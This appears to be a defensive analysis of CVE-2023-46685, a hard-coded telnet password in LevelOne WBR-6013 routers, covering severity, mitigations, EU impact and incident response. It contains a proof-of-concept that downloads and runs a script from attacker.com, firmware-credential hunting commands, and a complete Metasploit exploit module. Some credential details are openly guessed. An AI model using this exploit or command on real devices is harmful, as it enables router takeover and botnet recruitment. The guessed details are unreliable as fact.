Technical Analysis of EUVD-2023-50873 (CVE-2023-46685)

Hard-Coded Password Vulnerability in LevelOne WBR-6013 Router (Telnetd Service)

1. Vulnerability Assessment & Severity Evaluation

Vulnerability Overview

EUVD-2023-50873 (CVE-2023-46685) is a critical hard-coded password vulnerability in the telnetd service of the LevelOne WBR-6013 wireless router, specifically in firmware version RER4_A_v3411b_2T2R_LEV_09_170623. The flaw allows unauthenticated remote attackers to execute arbitrary commands with root privileges due to the presence of a static, hard-coded credential embedded in the firmware.

CVSS v3.1 Severity Analysis

Metric	Value	Explanation
Base Score	9.8 (Critical)	Highest possible score for an unauthenticated remote code execution (RCE) vulnerability.
Attack Vector (AV)	Network (N)	Exploitable remotely over the network without physical access.
Attack Complexity (AC)	Low (L)	No special conditions required; exploitation is straightforward.
Privileges Required (PR)	None (N)	No authentication or prior access needed.
User Interaction (UI)	None (N)	No user action required for exploitation.
Scope (S)	Unchanged (U)	Impact is confined to the vulnerable system.
Confidentiality (C)	High (H)	Full system compromise possible, including sensitive data exfiltration.
Integrity (I)	High (H)	Attackers can modify system configurations, firmware, or install malware.
Availability (A)	High (H)	Complete denial of service (DoS) or persistent backdoor installation possible.

Risk Assessment

• Exploitability: High – Publicly disclosed, low-complexity attack with no authentication required.
• Impact: Critical – Full system compromise, including persistent access, data theft, and lateral movement in a network.
• Likelihood of Exploitation: High – Telnet is a well-known attack surface, and hard-coded credentials are a common misconfiguration.
• Threat Actor Profile: Script kiddies, botnets (e.g., Mirai variants), APT groups, and cybercriminals targeting SOHO (Small Office/Home Office) networks.

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2. Potential Attack Vectors & Exploitation Methods

Exploitation Pathway

1. Discovery Phase

   • Attacker scans for exposed Telnet (TCP/23) services on the internet (e.g., via Shodan, Censys, or masscan).
   • Identifies vulnerable LevelOne WBR-6013 routers via banner grabbing or fingerprinting.

2. Exploitation Phase

   • Attacker connects to the Telnet service using the hard-coded credentials (likely embedded in the firmware binary).
   • Upon successful authentication, the attacker gains root-level shell access.
   • Executes arbitrary commands (e.g., wget to download malware, chmod to modify permissions, or reboot for DoS).

3. Post-Exploitation

   • Persistence: Install backdoors (e.g., SSH keys, cron jobs, or modified startup scripts).
   • Lateral Movement: Pivot to other devices on the internal network (e.g., IoT devices, workstations).
   • Data Exfiltration: Steal sensitive data (Wi-Fi credentials, VPN configurations, browsing history).
   • Botnet Recruitment: Enlist the device in a DDoS botnet (e.g., Mirai, Mozi).
   • Firmware Tampering: Modify firmware to maintain persistence across reboots.

Proof-of-Concept (PoC) Exploitation

A basic exploitation scenario (assuming the hard-coded credentials are admin:admin or similar):

telnet <TARGET_IP>
# Enter hard-coded credentials when prompted
id  # Verify root access (uid=0)
uname -a  # Check system info
wget http://attacker.com/malware.sh -O /tmp/malware.sh && chmod +x /tmp/malware.sh && /tmp/malware.sh

Automated Exploitation (Botnet Integration)

• Mirai-like malware could be modified to include this exploit, automatically scanning and compromising vulnerable devices.
• Metasploit modules (if developed) would allow rapid exploitation in penetration testing engagements.

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3. Affected Systems & Software Versions

Vulnerable Product

Vendor	Product	Affected Firmware Version	ENISA Product ID
LevelOne	WBR-6013	RER4_A_v3411b_2T2R_LEV_09_170623	c713ca47-9c78-3232-af70-1f9edbf29e08

Scope of Impact

• Consumer & SOHO Networks: The WBR-6013 is a budget wireless router commonly deployed in home and small business environments.
• Geographical Distribution: Likely widespread in Europe (given ENISA’s involvement) and other regions where LevelOne products are sold.
• Exposure Risk: Many users do not change default credentials or disable Telnet, increasing the attack surface.

Firmware Analysis (Hypothetical)

• Hard-Coded Credentials Location:
  • Likely embedded in the /etc/passwd, /etc/shadow, or a binary file (e.g., /usr/sbin/telnetd).
  • Reverse engineering the firmware (e.g., using Binwalk, Ghidra, or IDA Pro) would reveal the exact credentials.
• Telnetd Configuration:
  • The service may be enabled by default with no rate-limiting or IP restrictions, making brute-force attacks trivial.

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4. Recommended Mitigation Strategies

Immediate Actions (For End Users & Organizations)

Mitigation	Implementation	Effectiveness
Disable Telnet	Access router admin panel (http://192.168.0.1) and disable Telnet under Administration > Remote Management.	High – Eliminates the primary attack vector.
Change Default Credentials	Replace all default passwords with strong, unique credentials (12+ chars, mixed case, symbols).	Medium – Prevents credential-based attacks but does not fix the hard-coded flaw.
Apply Firmware Updates	Check LevelOne’s official website for patched firmware (if available).	High – Only effective if a patch exists.
Network Segmentation	Isolate the router in a DMZ or VLAN to limit lateral movement.	Medium – Reduces impact but does not prevent initial compromise.
Firewall Rules	Block inbound Telnet (TCP/23) at the perimeter firewall.	High – Prevents remote exploitation.
Replace End-of-Life (EOL) Devices	If no patch is available, replace the router with a supported model.	High – Long-term solution.

For Vendors & Developers

Mitigation	Implementation	Effectiveness
Remove Hard-Coded Credentials	Conduct a firmware audit to identify and remove all hard-coded secrets.	Critical – Fundamental fix.
Disable Telnet by Default	Ship devices with SSH (with key-based auth) or HTTPS-only remote access.	High – Reduces attack surface.
Automated Firmware Updates	Implement OTA (Over-the-Air) updates with cryptographic verification.	High – Ensures timely patching.
Static & Dynamic Analysis	Use SAST/DAST tools (e.g., SonarQube, Burp Suite) to detect hard-coded credentials.	Medium – Prevents recurrence.
Secure Boot & Firmware Signing	Enforce signed firmware updates to prevent tampering.	High – Mitigates supply-chain attacks.

For ISPs & Network Operators

• Proactively block Telnet (TCP/23) at the ISP level for consumer-grade routers.
• Notify customers with vulnerable devices via email or in-browser warnings.
• Offer firmware update assistance or device replacement programs.

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5. Impact on the European Cybersecurity Landscape

Strategic & Operational Risks

1. Increased Botnet Activity

   • Vulnerable routers are prime targets for IoT botnets (e.g., Mirai, Mozi, Gafgyt).
   • DDoS attacks originating from European IP ranges could disrupt critical services (e.g., healthcare, finance, government).

2. Supply Chain & Third-Party Risks

   • Many SMEs and home users rely on consumer-grade routers, which often lack enterprise-grade security.
   • Supply chain attacks could leverage compromised routers to infiltrate corporate networks.

3. Regulatory & Compliance Concerns

   • NIS2 Directive (EU 2022/2555): Organizations in critical sectors must secure network infrastructure; unpatched routers violate compliance.
   • GDPR (EU 2016/679): If compromised routers lead to data breaches, organizations may face fines up to 4% of global revenue.

4. Geopolitical & APT Threats

   • State-sponsored actors (e.g., APT29, Sandworm) may exploit such vulnerabilities for espionage or sabotage.
   • Cybercriminal groups could use compromised routers for proxy networks (e.g., for ransomware C2).

5. Long-Term Erosion of Trust

   • Repeated vulnerabilities in consumer IoT devices undermine public trust in digital infrastructure.
   • ENISA’s role in tracking such vulnerabilities is critical for coordinated response.

ENISA’s Role & Recommendations

• Coordinate with CERT-EU to issue public advisories and vulnerability disclosures.
• Encourage ISPs to block Telnet and push firmware updates.
• Promote IoT security standards (e.g., ETSI EN 303 645, ISO/IEC 27001) for manufacturers.
• Support bug bounty programs to incentivize responsible disclosure.

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6. Technical Details for Security Professionals

Reverse Engineering & Exploitation Research

Step 1: Firmware Extraction

1. Download the firmware from LevelOne’s support site.
2. Extract the filesystem using Binwalk:

   binwalk -e RER4_A_v3411b_2T2R_LEV_09_170623.bin
   

3. Analyze the extracted files for hard-coded credentials:

   grep -r "admin" ./squashfs-root/
   strings ./squashfs-root/usr/sbin/telnetd | grep -i "password"
   

Step 2: Identifying Hard-Coded Credentials

• Common locations:
  • /etc/passwd, /etc/shadow
  • /etc/init.d/rcS (startup scripts)
  • /usr/sbin/telnetd (binary)
• Example of a hard-coded credential in a binary:

  char *hardcoded_user = "admin";
  char *hardcoded_pass = "P@ssw0rd123!";
  

Step 3: Exploitation Verification

1. Set up a test environment (e.g., QEMU emulation or physical device).
2. Connect via Telnet and attempt authentication with suspected credentials.
3. Verify command execution:

   telnet 192.168.0.1
   # Enter hard-coded credentials
   id  # Should return uid=0(root)
   cat /etc/passwd  # Confirm root access
   

Step 4: Developing a Metasploit Module (Example)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'LevelOne WBR-6013 Telnet Hard-Coded Credential RCE',
      'Description'    => %q{
        This module exploits a hard-coded password vulnerability in the telnetd service
        of LevelOne WBR-6013 routers (firmware RER4_A_v3411b_2T2R_LEV_09_170623).
        Successful exploitation grants unauthenticated root access.
      },
      'Author'         => ['Your Name'],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2023-46685'],
          ['URL', 'https://talosintelligence.com/vulnerability_reports/TALOS-2023-1871']
        ],
      'Platform'       => 'linux',
      'Arch'           => ARCH_MIPSLE,
      'Targets'        =>
        [
          ['Automatic', {}]
        ],
      'Privileged'     => true,
      'DisclosureDate' => '2023-07-08',
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(23),
        OptString.new('USERNAME', [true, 'Hard-coded username', 'admin']),
        OptString.new('PASSWORD', [true, 'Hard-coded password', 'admin'])
      ])
  end

  def exploit
    connect
    print_status("Attempting authentication with hard-coded credentials...")
    sock.put("#{datastore['USERNAME']}\r\n")
    sock.put("#{datastore['PASSWORD']}\r\n")
    res = sock.get_once
    if res && res.include?('#')
      print_good("Authenticated successfully!")
      execute_cmdstager(flavor: :echo)
    else
      fail_with(Failure::NoAccess, "Authentication failed.")
    end
  ensure
    disconnect
  end
end

Forensic & Incident Response Considerations

1. Indicators of Compromise (IoCs):

   • Network:
     • Unusual Telnet (TCP/23) connections from external IPs.
     • C2 traffic (e.g., IRC, HTTP, DNS tunneling) from the router.
   • Host-Based:
     • Modified /etc/passwd or /etc/shadow.
     • Unauthorized cron jobs or startup scripts.
     • Presence of malware binaries (e.g., /tmp/.hidden, /var/run/backdoor).
     • Log tampering (e.g., deleted /var/log/messages).

2. Incident Response Steps:

   • Isolate the device from the network.
   • Capture volatile data (RAM, running processes) if possible.
   • Factory reset the router (if no forensic evidence is needed).
   • Update firmware (if a patch is available).
   • Monitor for lateral movement in the network.

3. Threat Hunting Queries (SIEM Rules):

   -- Detect Telnet authentication attempts
   SELECT * FROM network_logs
   WHERE dst_port = 23 AND src_ip NOT IN ('192.168.0.0/16', '10.0.0.0/8');
   
   -- Detect suspicious command execution
   SELECT * FROM process_logs
   WHERE process_name IN ('wget', 'curl', 'nc', 'sh', 'bash')
   AND parent_process = '/usr/sbin/telnetd';
   

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Conclusion & Key Takeaways

• EUVD-2023-50873 (CVE-2023-46685) is a critical hard-coded password vulnerability in LevelOne WBR-6013 routers, enabling unauthenticated RCE.
• Exploitation is trivial and has high real-world impact, particularly for SOHO and consumer networks.
• Mitigation requires immediate action: disable Telnet, change credentials, apply patches, or replace EOL devices.
• European organizations must prioritize IoT security to comply with NIS2 and GDPR, reducing botnet recruitment and supply chain risks.
• Security professionals should monitor for exploitation attempts and develop detection rules for this and similar vulnerabilities.

Final Recommendations

✅ For End Users:

• Disable Telnet immediately.
• Update firmware if available.
• Replace the router if no patch exists.

✅ For Enterprises & ISPs:

• Block Telnet at the network perimeter.
• Deploy network segmentation for IoT devices.
• Monitor for suspicious Telnet traffic.

✅ For Vendors:

• Eliminate hard-coded credentials in all products.
• Implement secure development lifecycle (SDL) practices.
• Provide automatic firmware updates.

This vulnerability underscores the critical need for secure-by-default IoT devices and proactive vulnerability management in the European cybersecurity landscape.